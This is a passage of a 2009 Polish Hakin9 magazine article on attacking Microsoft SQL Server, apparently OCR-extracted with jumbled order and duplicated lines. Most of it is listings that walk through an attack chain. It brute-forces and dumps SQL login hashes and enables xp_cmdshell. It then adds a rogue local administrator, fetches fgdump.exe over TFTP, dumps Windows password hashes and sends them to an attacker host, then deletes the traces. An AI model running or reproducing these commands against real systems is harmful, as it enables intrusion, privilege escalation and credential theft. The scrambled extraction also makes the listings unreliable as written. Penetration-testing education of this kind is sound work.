ATAK Listing 14. Łamanie hash'y hasła z użyciem metody Brute Force gsg ~ # grep -v '^nexus' mssql2000-hashes.txt > nie-scrackowany.txt gsg ~ # cat not-cracked.txt gsg ,0x0100B47BC335BAC32CE87HB47FC723483723443223C772883294E477EB382 gsg ~ # ./sqlbf/bin/sqlbf -c ./sqlbr/default.cm -u not -cracked.txt -r cracked.txt Starting BruteForce attack on hashes ... Press <space> for statistics <q> to Quit
Listing 15. Zrzut nazwy użytkownika i hash'e hasła z programu Microsoft SQL Server 2005 gsg ~ # echo -e "select name, password hash from sys.sql_logins \n go" | \ > tsql -H 10.0.0.213 -p 1433 -U sa -P sasa 1> 2> name password hash sa 01004086cdb34b456bb3dd33389273dn329100006e9834 gsg 234n349dc34384954bbb2342b282737c3b37283cb23920 gsg ~ #
Listing 16. Uruchomienie programu Sqlanlz i przekierowanie wyjścia do pliku HTML gsg ~ # sqlanlz SQLANLZ v1.1.0 by patrik@cqure.net ----------------------------------------------sqlanlz -i* <ip|ipfile> -t port (default 1433) -u username (default sa) -p password -l logging -v verbose gsg ~ # sqlanlz -i 10.0.0.212 -t 1433 -u sa -p "" > sqlanlz-mssql2000.html gsg ~ # sqlanlz -i 10.0.0.213 -t 1433 -u sa -p grzegorz > sqlanlz-mssql2005.html
Listing 17. Włączenie xp_cmdshell w Microsoft SQL Server 2005 EXEC master..sp_configure 'show advanced options', 1 RECONFIGURE WITH OVERRIDE EXEC master..sp_configure 'xp_cmdshell', 1 RECONFIGURE WITH OVERRIDE EXEC master..sp_configure 'show advanced options', 0 SQL Auditing Tools (SQLAT) - SQLExec (sqlquery) - Using "xp_cmdshell" to add a local administrator account call "nsa". Add the user "nsa" with the password "Pa$$w0rd!":
Listing 18. Dodanie użytkownika nsa do lokalnej grupy administratorów gsg ~ # sqlquery SQLExec v1.1.0 by patrik@cqure.net --------------------------------------------sqluery [options] -i* <ipaddress> -t port (default 1433) -q <query> (if ommited execute interactive mode) -u username -p password gsg ~ # sqlquery -i 10.0.0.212 -t 1433 -q "exec master..xp_cmdshell 'net user nsa Pa$$w0rd! /add'" SQLExec v1.1.0 by patrik@cquire.net ------------------------------------------------------output The command completed successfully. The command completed successfully. The command completed successfully.
28
HAKIN9 7-8/2009
pliku, nie-scrackowany.txt, któr y jest wykorzystywany jako wkład do ataku Brute Force. Należy pamiętać, że atak siłowy nie będzie wykonywany tak szybko jak słownikowy. Podobnie jak w przypadku wielu innych rodzajów metod Brute Force, ta także może potrwać wiele dni lub tygodni.
Microsoft SQL Server 2005 W przypadku Microsoft SQL Server 2005 wartości hasła użytkownika można pobrać za pomocą jednego z następujących zapytań: - ?Select name, password from
sys.sql_logins
- ?Select name, cast (password as
varbinary(256) )
from sys.syslogins
Po raz kolejny należy użyć narzędzia FreeTDS do stworzenia zapytania dla systemu SQL Server 2005 by uzyskać nazwy użytkowników i hasła, tak jak to pokazano na Listingu 16. SQLPAT i SQLAT nie są zdolne do pracy z hashami serwera SQL Server 2005, dlatego należy je sformatować inaczej i jako narzędzia łamiącego wykorzystamy program Cain&Abel (www.oxid.it/ cain.html) z wykorzystaniem metody słownikowej i Brute Force. Zdecydowanie zaleca się, aby przed wszystkimi testami przeczytać całą instrukcję obsługi (www.oxid.it/ca_um/ ), co pomaga w zaznajomieniu z jego szeroką funkcjonalnością. Po uruchomieniu programu Cain&Abel w systemie Windows, należy kliknąć na zakładkę Cracker, wybrać MSSQL Hashes, a następnie ikonę ze znaczkiem plus, aby uruchomić okno Add MSSQL Hashes. Następnie należy wprowadzić pozycje: Salt i Mixcase Hash, tak jak na Rysunku 1. Teraz, gdy wartości hashy zostały wprowadzone, można wybrać konkretne hashe lub wszystkie. Następnie po wybraniu ich kliknąć prawym przyciskiem myszy i wybrać atak słownikowy lub też metodę Brute Force. W tym przykładzie, wykonany zostanie atak Brute Force. Wyniki ataku Brute Force są wyświetlane w oknie dialogowym BruteForce Attack, tak jak na Rysunku 3.
TEST PENETRACYJNY MS SQL SERVER Analiza bazy danych
Innym doskonałym narzędziem, które jest częścią SQLAT jest sqlanlz. Sqlanlz tworzy on raporty w formacie HTML, zawierające analizę baz danych, użytkowników i rozszerzonych procedur przechowywanych w SQL Ser ver (Listing 17).
xp _ cmdshell na Microsoft SQL Server
2000, w przypadku Microsoft SQL Server 2005 ta opcja jest domyślnie wyłączona. Poniższy kod przywróci działanie opcji xp _ cmdshell gdy została wyłączona z sp _ dropextendedproc : sp_addextendedproc 'xp_
cmdshell','xp_
Uzyskanie dostępu do systemu operacyjnego Gdy możliwe jest posługiwanie się uprawnieniami administratora Microsoft SQL Ser ver 2000 można uzyskać dostęp do lokalnego administratora systemu operacyjnego za pomocą xp _ cmdshell., co pozwala na wydawanie poleceń z SQL Ser ver bezpośrednio do systemu MS Windows za pomocą poleceń T-SQL. Dla bezpieczeństwa należy zatem pamiętać, by administrator wyłączył
log70.dll'
Dodawanie użytkownika nsa do lokalnej grupy administratorów, jak pokazano na Listingu 18. Sprawdzenie, czy użytkownik nsa jest członkiem lokalnej grupy administratorów (Listing 19). W tym przykładzie użyty zostanie demon protokołu TFT w celu przeniesienia plików do i z programu Microsoft SQL Server za pomocą rozszerzonej procedury przechowywanej xp _ cmdshell.
Listing 19 Sprawdzenie, czy użytkownik nsa jest członkiem lokalnej grupy Administratorzy gsg ~ # sqlquery SQLExec v1.1.0 by patrik@cqure.net --------------------------------------------sqluery [options] -i* <ipaddress> -t port (default 1433) -q <query> (if ommited execute interactive mode) -u username -p password gsg ~ # sqlquery -i 10.0.0.212 -t 1433 -q "exec master..xp_cmdshell 'net localgroup administrators'" SQLExec v1.1.0 by patrik@cqure.net ........................................................ output Alias name administrators Comment Administrators have complete and unrestricted access to the computer/domain Comment Administrators have complete and unrestricted access to the computer/domain Members Members ...................................................................................... Administrator Nsa The command completed successfully. The command completed successfully. The command completed successfully.
Listing 20. Ściąganie, rozpakowywanie i kopiowanie programu fgdump.exe gsg ~ # wget -q http://swamp.foofus.net/fizzgig/fgdump/fgdump-1.6.0-exeonly.tar.bz2 gsg ~ # tar jxvf ./fgdump-1.6.0-exeonly.tar.bz2 Release/fgdump.exe gsg ~ # cp ./Release/fgdump.exe /tmp/ gsg ~ #
Uruchamianie TFTPD: gsg ~ # /usr/bin/start-tftpd
SQLAT: SQLExec (Sqlquery), TFTP i fgdump.exe
Fgdump (www.foofus.net/fizzgig/fgdump/ ) to zasadniczo narzędzie do dumpingu haseł w systemie Windows NT/2000/ XP/2003/Vista. Posiada wszystkie funkcje programu pwdump. Aby zacząć z nim pracę trzeba pobrać program, następnie zdekompresować go, a na końcu skopiować fgdump.exe do katalogu domowego demona tftpd, jak to pokazano na Listingu 20. Zmiana katalogu na c:\tools, przy użyciu klienta TFTP Microsoft SQL Server – pierwszym krokiem jest pobieranie fgdump.exe a następnie uruchomienie go, jak pokazano na Listingu 21. Za pomocą klienta TFTP można pobrać hashe, tak jak to ilustruje Listing 22. Po pobraniu hash'y systemu Windows, hasła można złamać za pomocą tęczowych tablic. Tablice można pobrać ze stron www.freerainbowtables.com/ lub http: //rainbowtables.shmoo.com/.
Podsumowanie
Przeanalizowaliśmy krok po kroku, jak można dokonać analizy systemu bazodanowego i przeprowadzić skuteczny atak. Informacje zaprezentowane w przykładach posłużyły do zebrania cennych informacji służących do wykr ywania luk w naszym systemie. Włamywacz musi zebrać jak najwięcej informacji o potencjalnej ofierze, aby atak sieciowy na bazę danych powiódł się, Intruzi próbują dowiedzieć się jak najwięcej o zdalnej maszynie i w tym celu skanują jej porty oraz badają, jaki system operacyjny na niej działa. Może się nam teraz nasuwać pytanie: jak skutecznie uniemożliwić lub utrudnić włamanie do zarządzanego przez nas systemu? Niestety nie ma na to dobrego i jednoznacznego przepisu. Przede wszystkim należy postępować uważnie przy konfiguracji systemu. Trzeba też podchodzić do tego zagadnienia z 7-8/2009 HAKIN9
29
ATAK Listing 21. Uruchomienie aplikacji fgdump.exe gsg ~ # sqlquery -i 10.0.0.212 -t 1433 -q "exec master..xp_cmdshell 'cd c:\tools && tftp -i 10.0.0.120 GET fgdump.exe'" -u sa -p'" SQLExec v1.1.0 by patrik@cqure.net -----------------------------------------------------output Transfer successful: 552960 bytes in 1 second 552960 bytes/s Transfer successful: 552960 bytes in 1 second 552960 bytes/s gsg ~ # sqlquery -I 10.0.0.212 -t 1433 -q "exec master.xp_cmdshell 'c:\tools\ fgdump.exe'" -u sa -p'" SQLExec v1.1.0 by patrik@cqure.net -----------------------------------------------------output fgDump 1.6.0 - fizzgig and the mighty group at foofus.net Written to make j0m0kun's life just a bit easier Copyright (c) 2007 fizzgig and foofus.net Fgdump comes with ABSOLUTELY NO WARRANTY! This is free software, and you are welcome to redistribute it Under certain conditions; see the COPYING and README files for more information. more information. No parameters specified, doing a local dump. Specify -7 it you are looking for help. Starting dump on 127.0.0.1 Starting dump on 127.0.0.1 **Beginning local dump ** OS (127.0.0.1): Microsoft Windows 2003 Server Passwords dumped successfully Cache dumped successfully Cache dumped successfully --------Summary--------------------Summary------------Failed servers: NONE NONE Successful servers: 127.0.0.1 127.0.0.1 Total failed: 0 Total successful: 1 Total successful: 1
Listing 22. Procedura pobierania hashy z wykorzystaniem tftp. gsg ~ # sqlquery -i 10.0.0.212 -t 1433 -q "exec master..xp_cmdshell 'tftp -i 10.0.0.120 PUT c:\tools\127.0.0.1.pwdump'" -u sa -p "" SQLExec v1.1.0 by patrik@cqure.net -----------------------------------------------------output Transfer successful: 616 bytes in 1 second 616 bytes/s Transfer successful: 616 bytes in 1 second 616 bytes/s gsg ~ # sqlquery -I 10.0.0.212 -t 1433 -q "exec master..xp_cmdshell 'tftp -i 10.0.0.120 PUT c:\tools\127.0.01.cachedump'" -u sa -p "" SQLEXEC v1.1.0 by patrik@cqure.net --------------------------------------------------------output Transfer successful: 216 bytes in 1 second 216 bytes/s Transfer successful: 216 bytes in 1 second 216 bytes/s' gsg ~ # sqlquery -I 10.0.0.212 -t 1433 -q "exec master..xp_cmdshell 'rd /s /q c: \tools'" -u sa -p '" SQLExec v1.1.0 by patrik@cqure.net -----------------------------------------------------output
30
HAKIN9 7-8/2009
pokorą, czyli przede wszystkim nie należy sądzić, że jest się najlepszym na świecie administratorem. Należy wiedzieć bowiem, że zawsze znajdzie się ktoś lepszy i wykorzysta nasze błędy przeciwko nam. Nie można ufać także bezgranicznie konkretnemu rozwiązaniu czy też systemowi. Każdy system ma błędy i to że używamy systemy otwarte nie oznacza że będziemy odporni na ataki. Niestety nawet ściana ogniowa nie zabezpieczy naszej bazy danych przed atakiem. Wszelkiego rodzaju zabezpieczenia mają utrudnić atak poprzez zablokowanie automatycznych prób włamania, zniechęcenie atakujących i ukr ycie słabych punktów systemu. Nie zagwarantują jednak jego bezpieczeństwa. Mogą natomiast wydłużyć czas potrzebny na sforsowanie wszystkich zabezpieczeń. Najważniejszą dla nas informacją powinno być już to, że ktoś interesuje się na poważnie naszym systemem. Listing 23. Tworzenie katalogu o nazwie c:\tools na Microsoft SQL Server gsg ~ # sqlquery SQLExec v1.1.0 by patrik@cqure.net --------------------------------------sqluery [options] -i* <ipaddress> -t port (default 1433) -q <query> (if ommited execute interactive mode) -u username -p password gsg ~ # sqlquery -i 10.0.0.212 -t 1433 -q "exec master..xp_ cmdshell "mkdir c:\tools'" -u sa -p'" SQLExec v1.1.0 by patrik@cqure.net --------------------------------------output
Grzegorz Gałęzowski
Autor jest informatykiem, członkiem zespołu naukowego do opracowania, przygotowania i wdrożenia w archiwach państwowych Zintegrowanego Systemu Informacji Archiwalnej, który jest pierwszym systemem informatycznym, tworzonym przez administrację rządową w Polsce, opartym w całości na tzw. „otwartym oprogramowaniu”. Autor zajmuje się Linuksem od ponad 12 lat. Hobby informatyczne to systemy IBM z/OS, OS/400, AIX i SAP R/3. Kontakt z autorem: gsgalezowski@gmail.com